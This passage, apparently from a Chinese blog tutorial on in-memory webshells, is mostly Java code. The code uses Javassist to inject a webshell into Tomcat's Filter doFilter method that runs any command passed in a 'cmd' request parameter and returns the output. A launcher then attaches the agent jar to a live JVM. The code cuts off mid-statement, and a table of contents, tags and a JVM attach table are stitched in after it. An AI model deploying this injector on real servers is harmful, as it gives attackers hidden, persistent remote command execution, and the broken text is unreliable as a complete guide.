                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;\n            javax.servlet.ServletResponse res = response;String cmd = req.getParameter(\"cmd\");\nif (cmd != null) {\nProcess process = Runtime.getRuntime().exec(cmd);\njava.io.BufferedReader bufferedReader = new java.io.BufferedReader(\nnew java.io.InputStreamReader(process.getInputStream()));\nStringBuilder stringBuilder = new StringBuilder();\nString line;\nwhile ((line = bufferedReader.readLine()) != null) {\nstringBuilder.append(line + '\\n');\n}\nres.getOutputStream().write(stringBuilder.toString().getBytes());\nres.getOutputStream().flush();\nres.getOutputStream().close();\n}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (IOException | CannotCompileException | NotFoundException var10) {
                var10.printStackTrace();
            }
        }

        return new byte[0];
    }
 
  然后将此Agent工程打jar包： 
   
  注入Agent：  
  public class Main {
    public Main() {
    }

    public static void main(String[] args) throws Exception {
        String agentPath="/xxx/TomcatAgent.jar"; //生成的Agent所放的路径
        try {
            File toolsJar = new File(System.getProperty("java.home").replaceFirst("jre", "lib") + File.separator + "tools.jar");
            URLClassLoader classLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
            Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
            add.setAccessible(true);
            add.invoke(classLoader, toolsJar.toURI().toURL());
            Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            Method list = MyVirtualMachine.getDeclaredMethod("list");
            List

内存Webshell马详解

一、内存马概述

1、内存马简介

2、内存马类型

二、webshell内存马原理

1、内存马原理简介

2、Servlet

3、Filter

4、Listener

5、Tomcat

6、java反射

7、java instrumentation

三、Java内存马实现

1、普通型Java内存马

2、Agent型Java内存马

3、Spring内存马

四、PHP内存马

五、Python内存马

六、内存马检测与排查

1、Java内存马检测

2、PHP内存马检测

3、Python内存马检测

你可能感兴趣的:(Web安全,渗透测试,APT,应急响应,java,开发语言)

attach方式	是否会暂停JVM	所在jar	备注
HotSpotAgent.attach	会	sa-jdi.jar	在目标进程外部运行
VirtualMachine.attach	不会	tools.jar	attach创建Attach Listener执行命令
VirtualMachinne.loadAgent	不会	tools.jar	loadAgent动态加载jar提供信息
Perf.getPerf.attach(perfDataattach)	不会	rt.jar	lattach时把当前目标JVM进程的状态信息拷贝到mmap文件